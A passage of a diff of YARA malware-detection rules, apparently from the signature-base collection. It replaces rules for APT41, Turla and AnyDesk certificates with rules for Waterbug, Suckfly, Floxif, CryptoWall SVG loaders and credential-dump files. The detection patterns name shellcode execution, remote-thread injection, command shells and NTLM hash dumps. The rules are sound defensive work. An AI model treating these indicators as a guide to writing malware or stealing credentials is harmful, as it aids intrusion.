+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbug.yar#L50-L62"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6836b8d28fb41d9459f24d22e3c428b022b26885b7dce1caa5b0d5a7a1b7f82b"
+		score = 75
+		quality = 85
+		tags = ""
+
+	strings:
+		$a = {0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34}
+		$b = {48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 00 00 00 57 8B F9 8B 0D ?? ?? ?? ?? ?? C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8}
+
+	condition:
+		all of them
+}
+rule SIGNATURE_BASE_Waterbug_Fa_Malware : FILE
+{
+	meta:
+		description = "Symantec Waterbug Attack - FA malware variant"
+		author = "Symantec Security Response"
+		id = "b09f798a-2875-59ca-b880-971d8f973c76"
+		date = "2015-01-22"
+		modified = "2023-01-27"
+		reference = "http://t.co/rF35OaAXrl"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbug.yar#L64-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b3ac0d69551f27c7f81e24eb00e110639d4b31c8581dfee82715d65528b09632"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
+	strings:
+		$string1 = "C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb"
+		$string2 = "d:\\proj\\cn\\fa64\\"
+		$string3 = "sengoku_Win32.sys\x00"
+		$string4 = "rk_ntsystem.c"
+		$string5 = "\\uroboros\\"
+		$string6 = "shell.{F21EDC09-85D3-4eb9-915F-1AFA2FF28153}"
+
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].serial=="0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35" or pe.signatures[i].serial=="63:66:a9:ac:97:df:4d:e1:73:66:94:3c:9b:29:1a:aa" or pe.signatures[i].serial=="01:00:00:00:00:01:30:73:85:f7:02" or pe.signatures[i].serial=="14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78" or pe.signatures[i].serial=="7b:d5:58:18:c5:97:1b:63:dc:45:cf:57:cb:eb:95:0b" or pe.signatures[i].serial=="53:0c:e1:4c:81:f3:62:10:a1:68:2a:ff:17:9e:25:80" or pe.signatures[i].serial=="54:c6:c1:40:6f:b4:ac:b5:d2:06:74:e9:93:92:c6:3e" or pe.signatures[i].serial=="fd:f2:83:7d:ac:12:b7:bb:30:ad:05:8f:99:9e:cf:00" or pe.signatures[i].serial=="18:63:79:57:5a:31:46:e2:6b:ef:c9:0a:58:0d:1b:d2" or pe.signatures[i].serial=="5c:2f:97:a3:1a:bc:32:b0:8c:ac:01:00:59:8f:32:f6" or pe.signatures[i].serial=="4c:0b:2e:9d:2e:f9:09:d1:52:70:d4:dd:7f:a5:a4:a5" or pe.signatures[i].serial=="58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30" or pe.signatures[i].serial=="47:6b:f2:4a:4b:1e:9f:4b:c2:a6:1b:15:21:15:e1:fe" or pe.signatures[i].serial=="30:d3:c1:67:26:5b:52:0c:b8:7f:25:84:4f:95:cb:04" or pe.signatures[i].serial=="1e:52:bb:f5:c9:0e:c1:64:d0:5b:e0:e4:16:61:52:5f" or pe.signatures[i].serial=="25:f8:78:22:de:56:d3:98:21:59:28:73:ea:09:ca:37" or pe.signatures[i].serial=="67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d")
+		uint16(0)==0x5A4D and ( any of ($string*))
+}
+rule SIGNATURE_BASE_Waterbug_Sav : FILE
+{
+	meta:
+		description = "Symantec Waterbug Attack - SAV Malware"
+		author = "Symantec Security Response"
+		id = "685849de-9892-56bf-8215-21b08d8b2d7c"
+		date = "2015-01-22"
+		modified = "2023-01-27"
+		reference = "http://t.co/rF35OaAXrl"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_waterbug.yar#L114-L129"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c8622ac6cb1f0b9965fe6ee1a4860f19d8b0dc1c586e2a3771420b8d78648066"
+		score = 75
+		quality = 85
+		tags = "FILE"
+
+	strings:
+		$code1a = { 8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 }
+		$code1b = { 8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC	3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 }
+		$code1c = { 8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 }
+		$code2 = { 29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B}
+
+	condition:
+		uint16(0)==0x5A4D and (($code1a or $code1b or $code1c) and $code2)
 }
 import "pe"
 
-rule SIGNATURE_BASE_APT_APT41_CN_ELF_Speculoos_Backdoor : FILE
+rule SIGNATURE_BASE_Suckfly_Nidiran_Gen_1 : FILE
 {
 	meta:
-		description = "Detects Speculoos Backdoor used by APT41"
+		description = "Detects Suckfly Nidiran Trojan"
 		author = "Florian Roth (Nextron Systems)"
-		id = "efe2b368-33af-5382-a5f0-0e7dd7f4dea4"
-		date = "2020-04-14"
+		id = "1abc596a-5fb1-55f9-b72d-022bfc6d10c7"
+		date = "2018-01-28"
 		modified = "2023-12-05"
-		reference = "https://unit42.paloaltonetworks.com/apt41-using-new-speculoos-backdoor-to-target-organizations-globally/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt41.yar#L233-L267"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ee4cbbc5fc51fb24cbf6017dfb4763ac72a0b23a3b6e794b909e678ebfbabc03"
-		score = 90
+		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_suckfly.yar#L14-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bf617259df00b16272caffa8f1ffcf8d29cb98cb6ab85ca52e0bb0706f0cd5b0"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "6943fbb194317d344ca9911b7abb11b684d3dca4c29adcbcff39291822902167"
-		hash2 = "99c5dbeb545af3ef1f0f9643449015988c4e02bf8a7164b5d6c86f67e6dc2d28"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ac7d7c676f58ebfa5def9b84553f00f283c61e4a310459178ea9e7164004e734"
 
 	strings:
-		$xc1 = { 2F 70 72 69 76 61 74 65 2F 76 61 72 00 68 77 2E
-               70 68 79 73 6D 65 6D 00 68 77 2E 75 73 65 72 6D
-               65 6D 00 4E 41 2D 4E 41 2D 4E 41 2D 4E 41 2D 4E
-               41 2D 4E 41 00 6C 6F 30 00 00 00 00 25 30 32 78
-               2D 25 30 32 78 2D 25 30 32 78 2D 25 30 32 78 2D
-               25 30 32 78 2D 25 30 32 78 0A 00 72 00 4E 41 00
-               75 6E 61 6D 65 20 2D 76 }
-		$s1 = "badshell" ascii fullword
-		$s2 = "hw.physmem" ascii fullword
-		$s3 = "uname -v" ascii fullword
-		$s4 = "uname -s" ascii fullword
-		$s5 = "machdep.tsc_freq" ascii fullword
-		$s6 = "/usr/sbin/config.bak" ascii fullword
-		$s7 = "enter MessageLoop..." ascii fullword
-		$s8 = "exit StartCBProcess..." ascii fullword
-		$sc1 = { 72 6D 20 2D 72 66 20 22 25 73 22 00 2F 70 72 6F
-               63 2F }
+		$s1 = "WriteProcessMemory fail at %d " fullword ascii
+		$s2 = "CreateRemoteThread fail at %d " fullword ascii
+		$s3 = "CreateRemoteThread Succ" fullword ascii
 
 	condition:
-		uint16(0)==0x457f and filesize <600KB and 1 of ($x*) or 4 of them
+		uint16(0)==0x5a4d and filesize <200KB and 2 of them
 }
-rule SIGNATURE_BASE_Snaketurla_Malware_May17_1 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Suckfly_Nidiran_Gen_2 : FILE
 {
 	meta:
-		description = "Detects Snake / Turla Sample"
+		description = "Detects Suckfly Nidiran Trojan"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ddbbd602-b7f0-5e14-be0f-0c84bb22ddeb"
-		date = "2017-05-04"
-		modified = "2023-01-06"
-		reference = "https://goo.gl/QaOh4V"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_snaketurla_osx.yar#L11-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "12b18c9e03f1a471541de2fb3ecc6b90a13910ca299a9b7d2bad9dd11f881506"
+		id = "b090079d-1c22-5931-a25b-e960343a610f"
+		date = "2018-01-28"
+		modified = "2023-12-05"
+		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_suckfly.yar#L31-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2e4f6a920e063113a9ff252869e1c2ebdf5a2495b4adb1edaf9500904234f362"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5b7792a16c6b7978fca389882c6aeeb2c792352076bf6a064e7b8b90eace8060"
+		hash1 = "b53a316a03b46758cb128e5045dab2717cb36e7b5eb1863ce2524d4f69bc2cab"
+		hash2 = "eaee2bf83cf90d35dab8a4711f7a5f2ebf9741007668f3746995f4564046fbdf"
 
 	strings:
-		$s1 = "/Users/vlad/Desktop/install/install/" ascii
+		$x1 = "WorkDll.dll" fullword ascii
+		$x2 = "%userprofile%\\Security Center\\secriter.dll" fullword ascii
+		$s1 = "DLL_PROCESS_ATTACH is called" fullword ascii
+		$s2 = "Support Security Accounts Manager For Microsoft Windows.If this service is stopped, any services that depended on it will fail t" ascii
+		$s3 = "before CreateRemoteThread" fullword ascii
+		$s4 = "CreateRemoteThread Succ" fullword ascii
+		$s5 = "Microsoft Security Accounts Manager" fullword ascii
+		$s6 = "DoRunRemote" fullword ascii
+		$s7 = "AutoRunFun" fullword ascii
+		$s8 = "ServiceMain is called" fullword ascii
+		$s9 = "DllRegisterServer is called" fullword ascii
 
 	condition:
-		( uint16(0)==0xfacf and filesize <200KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and (1 of ($x*) or 4 of them )
 }
-rule SIGNATURE_BASE_Snaketurla_Malware_May17_2 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_Suckfly_Nidiran_Gen_3 : FILE
 {
 	meta:
-		description = "Detects Snake / Turla Sample"
+		description = "Detects Suckfly Nidiran Trojan"
 		author = "Florian Roth (Nextron Systems)"
-		id = "b3e94016-591c-5e39-b5e7-328e0761e535"
-		date = "2017-05-04"
+		id = "d9daf7e4-2cfa-50c9-84d2-c971734abe5e"
+		date = "2018-01-28"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QaOh4V"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_snaketurla_osx.yar#L27-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "35bd8650afbc515ecd1cef393fd75f9b77a1e31111612227f0f4557fe8b312a7"
+		reference = "https://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_suckfly.yar#L61-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4fddb55999bbbeecd92863219e878c840640e4d17008cb789a255528ef3fac9c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b8ee4556dc09b28826359b98343a4e00680971a6f8c6602747bd5d723d26eaea"
+		hash1 = "c2022e1114b162e79e44d974fd310d53e1bbdd8cb4f217553c1227cafed78855"
+		hash2 = "47731c9d985ebc2bd7227fced3cc44c6d72e29b52f76fccbdaddd76cc3450706"
 
 	strings:
-		$s1 = "b_openssl: oops - number of mutexes is 0" fullword ascii
-		$s2 = "networksetup -get%sproxy Ethernet" fullword ascii
-		$s3 = "012A04DECBC441e49C527B2798F54CA7LOG_NAMED_PIPE_NAME" fullword ascii
+		$x1 = "RUN SHELLCODE FAIL" fullword ascii
+		$x2 = "RUN PROCESS FAILD!" fullword ascii
+		$x3 = "DOWNLOAD FILE FAILD" fullword ascii
+		$x4 = "MODIFYCONFIG FAIL!" fullword ascii
+		$x5 = "GetFileAttributes FILE FAILD" fullword ascii
+		$x6 = "MODIFYCONFIG SUCC!" fullword ascii
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "error to create pipe!" fullword ascii
+		$s3 = "%s\\%08x.exe" fullword ascii
 
 	condition:
-		( uint16(0)==0xfacf and filesize <6000KB and all of them )
+		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="ae0f4ebf7e8ce91d6548318a3cf82b7a" or 1 of ($x*) or 2 of them )
 }
-rule SIGNATURE_BASE_Snaketurla_Malware_May17_4 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_Floxif_Generic : FILE
 {
 	meta:
-		description = "Detects Snake / Turla Sample"
+		description = "Detects Floxif Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "797dedd6-a13e-529f-bae4-4043294672c4"
-		date = "2017-05-04"
+		id = "5ddd6a6c-b02a-518b-bbe3-8f528b3d7eae"
+		date = "2018-05-11"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QaOh4V"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_snaketurla_osx.yar#L44-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7b6aac2313ea7dae572114e92ad0b5437c5be2542853de3b184bef780faee68b"
-		score = 75
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_floxif_flystudio.yar#L3-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1996f717100d9f1abc2ed3f1e9d0c55daec09654c0f99987ddaea9e9f0d17008"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d5ea79632a1a67abbf9fb1c2813b899c90a5fb9442966ed4f530e92715087ee2"
-
-	strings:
-		$s1 = "Install Adobe Flash Player.app/com.adobe.updatePK" fullword ascii
+		hash1 = "de055a89de246e629a8694bde18af2b1605e4b9b493c7e4aef669dd67acf5085"
 
 	condition:
-		( uint16(0)==0x4b50 and filesize <5000KB and all of them )
+		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="2f4ddcfebbcad3bacadc879747151f6f" or pe.exports("FloodFix") or pe.exports("FloodFix2"))
 }
-rule SIGNATURE_BASE_Snaketurla_Installd_SH : FILE
+import "pe"
+
+rule SIGNATURE_BASE_MAL_CN_Flystudio_May18_1 : FILE
 {
 	meta:
-		description = "Detects Snake / Turla Sample"
+		description = "Detects malware / hacktool detected in May 2018"
 		author = "Florian Roth (Nextron Systems)"
-		id = "65a97c0d-5c69-5e58-9a18-10e5684bc218"
-		date = "2017-05-04"
+		id = "b78b9ea0-5eef-5922-b5d7-d3c5ddce7fad"
+		date = "2018-05-11"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QaOh4V"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_snaketurla_osx.yar#L59-L72"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b16107434951ddb212996909d53dfbcdae74ed13df6690ce3f6c74258ab4670"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_floxif_flystudio.yar#L21-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8d03f02a270d8664175b65398c01ec4f0ea182437b31847f9bf4181edb0c36bb"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "b85147366890598518d4f277d44506eef871fd7fc6050d8f8e68889cae066d9e"
 
 	strings:
-		$s1 = "PIDS=`ps cax | grep installdp" ascii
-		$s2 = "${SCRIPT_DIR}/installdp ${FILE}" ascii
+		$s1 = "WTNE / MADE BY E COMPILER - WUTAO " fullword ascii
+		$s2 = "www.cfyhack.cn" fullword ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <20KB and all of them )
+		uint16(0)==0x5a4d and filesize <5000KB and (pe.imphash()=="65ae5cf17140aeaf91e3e9911da0ee3e" or 1 of them )
 }
-rule SIGNATURE_BASE_Snaketurla_Install_SH : FILE
+rule SIGNATURE_BASE_NTLM_Dump_Output
 {
 	meta:
-		description = "Detects Snake / Turla Sample"
+		description = "NTML Hash Dump output file - John/LC format"
 		author = "Florian Roth (Nextron Systems)"
-		id = "68775c54-46f8-5d44-ba63-6726d2bb8016"
-		date = "2017-05-04"
+		id = "d17ee473-317b-57d4-8ea8-7c89e8f2b2ed"
+		date = "2015-10-01"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/QaOh4V"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_snaketurla_osx.yar#L74-L87"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "019d20ca6632759cf01962d336c22831edc64b6927d8b27d026b76eb118fce02"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_dumps.yar#L17-L30"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "154de926d27d38b38a4ed2c14b9122213fd1deb4115ef3bb77366db0818c7572"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "${TARGET_PATH}/installd.sh" ascii
-		$s2 = "$TARGET_PATH2/com.adobe.update.plist" ascii
+		$s0 = "500:AAD3B435B51404EEAAD3B435B51404EE:" ascii
+		$s1 = "500:aad3b435b51404eeaad3b435b51404ee:" ascii
 
 	condition:
-		( uint16(0)==0x2123 and filesize <20KB and all of them )
+		1 of them
 }
-rule SIGNATURE_BASE_Gen_Suspicious_Inpage_Dropper : FILE
+rule SIGNATURE_BASE_Gsecdump_Password_Dump_File : FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "Florian Roth"
-		id = "9144711a-e6ee-5c97-a5f4-3f6df1d630dc"
-		date = "2023-12-05"
+		description = "Detects a gsecdump output file"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c7c8ab61-f728-5eb2-a5e3-b3dd84980870"
+		date = "2018-03-06"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/Ahmedfshosha/status/1138138981521154049"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_suspicious_InPage_dropper.yar#L1-L23"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8ab5d0bffa72b32f4c388f42a38a799c178fddf9f06b1262842e146c43448bd4"
+		reference = "https://t.co/OLIj1yVJ4m"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_dumps.yar#L32-L45"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "483ad5217cbc065bd2f791c473b9a2455fddc4e0123268a8d37c64d92dd78c43"
 		score = 65
 		quality = 85
 		tags = "FILE"
-		hash1 = "013417bd5465d6362cd43c70015c7a74a1b8979785b842b7cfa543cb85985852"
-		hash2 = "1d1e7a6175e6c514aaeca8a43dabefa017ddc5b166ccb636789b6a767181a022"
-		hash3 = "bd293bdf3be0a44a92bdb21e5fa75c124ad1afed3c869697bf90c9732af0e994"
-		hash4 = "d8edf3e69f006f85b9ee4e23704cd5e95e895eb286f9b749021d090448493b6f"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "InPage Arabic Document"
-		$c1 = {31 06 83 c6 04 e2 }
-		$c2 = {90 90 90 90 90 90 90 e8 fb }
+		$x1 = "Administrator(current):500:" ascii
 
 	condition:
-		filesize <3MB and uint32be(0)==0xD0CF11E0 and $s1 and 1 of ($c*)
+		uint32be(0)==0x41646d69 and filesize <3000 and $x1 at 0
 }
-import "pe"
-
-rule SIGNATURE_BASE_PUA_Anydesk_Compromised_Certificate_Revoked_Jan24 : FILE
+rule SIGNATURE_BASE_SUSP_ZIP_Ntdsdit : T1003_003 FILE
 {
 	meta:
-		description = "Detects binaries signed with a compromised signing certificate of AnyDesk (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8) after it was revoked. This is not a threat detection. It detects an outdated version of AnyDesk that was signed with a certificate that has been revoked."
-		author = "Florian Roth"
-		id = "eeefc9a5-1416-544b-b95e-c063000a4028"
-		date = "2024-02-05"
-		modified = "2024-04-24"
-		reference = "https://anydesk.com/en/public-statement"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_anydesk_compromised_cert_feb23.yar#L3-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1f148dbf15579bd6a65e7c93fa64f00ea481d6b314a444fa924a4604adb9a6d"
+		description = "Detects ntds.dit files in ZIP archives that could be a left over of administrative activity or traces of data exfiltration"
+		author = "Florian Roth (Nextron Systems)"
+		id = "131ed73d-bb34-5ff6-b145-f95e4469d7f9"
+		date = "2020-08-10"
+		modified = "2023-12-05"
+		reference = "https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_dumps.yar#L47-L60"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "371e30f50d96c884bd55ffc10d049d0ada881304746564a99dec0e8efad87602"
 		score = 50
 		quality = 85
-		tags = "FILE"
+		tags = "T1003_003, FILE"
+
+	strings:
+		$s1 = "ntds.dit" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures[i].serial=="0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8")
+		uint16(0)==0x4b50 and $s1 in (0..256)
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_1 : FILE
+rule SIGNATURE_BASE_SVG_Loadurl : FILE
 {
 	meta:
-		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; strict version)"
-		author = "Florian Roth"
-		id = "8d172b04-f7f7-54df-b30c-3ee17d3cca12"
-		date = "2024-02-02"
-		modified = "2024-04-24"
-		reference = "https://anydesk.com/en/public-statement"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_anydesk_compromised_cert_feb23.yar#L19-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1b2268b1efa09ee8578f4c1ae07617ac6bebeacd3ed50598a2fc2ec4d709baa7"
-		score = 75
+		description = "Detects a tiny SVG file that loads an URL (as seen in CryptoWall malware infections)"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c3d4c95f-ef8b-52ff-9cf9-d66d9b99a490"
+		date = "2015-05-24"
+		modified = "2023-12-05"
+		reference = "http://goo.gl/psjCCc"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_cryptowall_svg.yar#L2-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d9e40694e2d0099495289a2074e266bace9b0d9d776391020a1527eaabd2a395"
+		score = 50
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ac8ef9df208f624be9c7e7804de55318"
+		hash2 = "3b9e67a38569ebe8202ac90ad60c52e0"
+		hash3 = "7e2be5cc785ef7711282cea8980b9fee"
+		hash4 = "4e2c6f6b3907ec882596024e55c2b58b"
 
 	strings:
-		$a1 = "AnyDesk Software GmbH" wide
+		$s1 = "</svg>" nocase
+		$s2 = "<script>" nocase
+		$s3 = "location.href='http" nocase
 
 	condition:
-		uint16(0)==0x5a4d and not $a1 and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" and pe.signatures[i].serial=="0d:bf:15:2d:ea:f0:b9:81:a8:a9:38:d5:3f:76:9d:b8")
+		all of ($s*) and filesize <600
 }
-import "pe"
-
-rule SIGNATURE_BASE_SUSP_Anydesk_Compromised_Certificate_Jan24_2 : FILE
+rule SIGNATURE_BASE_CN_Honker_Mafix_Root : FILE
 {
 	meta:
-		description = "Detects binaries signed with a compromised signing certificate of AnyDesk that aren't AnyDesk itself (philandro Software GmbH, 0DBF152DEAF0B981A8A938D53F769DB8; permissive version)"
-		author = "Florian Roth"
-		id = "a41af8d8-ebdf-5a2f-8cf5-abd4587bdfc5"
-		date = "2024-02-02"
-		modified = "2024-04-24"
-		reference = "https://anydesk.com/en/public-statement"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_anydesk_compromised_cert_feb23.yar#L38-L56"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "86f708233d5a6a46d367430dcc65b128e8dc7ec24eda774ff3860101cc16c9fc"
-		score = 65
+		description = "Script from disclosed CN Honker Pentest Toolset - file root"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ae08b2e9-4d81-5f15-88d2-e2ace20626bf"
+		date = "2015-06-23"
